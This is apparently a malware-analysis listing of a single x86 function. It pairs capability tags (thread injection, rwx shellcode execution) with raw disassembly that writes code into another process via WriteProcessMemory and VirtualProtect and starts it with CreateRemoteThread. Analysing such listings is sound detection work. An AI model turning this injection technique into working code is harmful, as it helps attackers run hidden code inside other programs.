Function at 0x401340
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp byte [0x40b2c4], 0
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
je 0x4013b7
lea eax, [edi + 2]
push eax
call fcn.00405511
mov esi, eax
push edi
push ebx
lea ecx, [esi + 1]
mov byte [esi], 0x60
push ecx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0x10
mov word [esi + edi], 0xc361
call esi
cmp byte [0x40b2c4], 0
mov eax, dword [0x40b2cc]
je 0x401391
mov eax, dword [eax]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 4
lea ecx, [ebp - 0xc]
mov dword [ebp - 0xc], 0
push ecx
push eax
push dword [0x40b2c8]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor edx, edx
lea ecx, [edx + 1]
call fcn.004012c0
cmp byte [0x40b2c4], 0
mov esi, eax
mov dword [ebp - 0xc], esi
je 0x4013f5
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 2
push eax
push 0x40
push 0x400
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push ebx
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
jmp 0x401406
push 0
push edi
push ebx
push esi
push dword [0x40b2c8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp byte [0x40b2c5], 0
mov ebx, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
jne 0x4014a6
mov esi, dword [0x40b2cc]
add esi, 0x530
mov byte [ebp - 4], 1
cmp byte [0x40b2c4], 0
je 0x401452
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 2
push eax
push 0x40
push 0x400
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, byte [ebp - 4]
mov byte [esi], al
jmp 0x401470
push 0
push 1
lea eax, [ebp - 4]
push eax
push esi
push dword [0x40b2c8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop word [eax + eax]
mov eax, dword [0x40b2cc]
add eax, 0x540
cmp byte [0x40b2c4], 0
je 0x401487
mov al, byte [eax]
jmp 0x40149f
push 0
push 1
lea ecx, [ebp - 8]
mov byte [ebp - 8], 0
push ecx
push eax
push dword [0x40b2c8]
call ebx
mov al, byte [ebp - 8]
test al, al
je 0x401470
mov esi, dword [ebp - 0xc]
push 0
push 0
push 0
push esi
push 0
push 0
push dword [0x40b2c8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
je 0x4014e3
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop dword [eax]
push 0x64
push esi
call edi
cmp eax, 0x102
je 0x4014d0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x40b2c5], 0
jne 0x40153a
mov esi, dword [0x40b2cc]
add esi, 0x530
mov byte [ebp - 8], 0
cmp byte [0x40b2c4], 0
je 0x401525
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 2
push eax
push 0x40
push 0x400
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, byte [ebp - 8]
mov byte [esi], al
jmp 0x40153a
push 0
push 1
lea eax, [ebp - 8]
push eax
push esi
push dword [0x40b2c8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp byte [0x40b2c4], 0
je 0x401552
push 0
push dword [ebp - 0xc]
call fcn.004054e0
add esp, 8
jmp 0x401568
push 0x8000
push 0
push dword [ebp - 0xc]
push dword [0x40b2c8]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp byte [0x40b2c4], 0
mov eax, dword [0x40b2cc]
jne 0x401388
push 0
push 4
lea ecx, [ebp - 0xc]
mov dword [ebp - 0xc], 0
push ecx
push eax
push dword [0x40b2c8]
call ebx
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret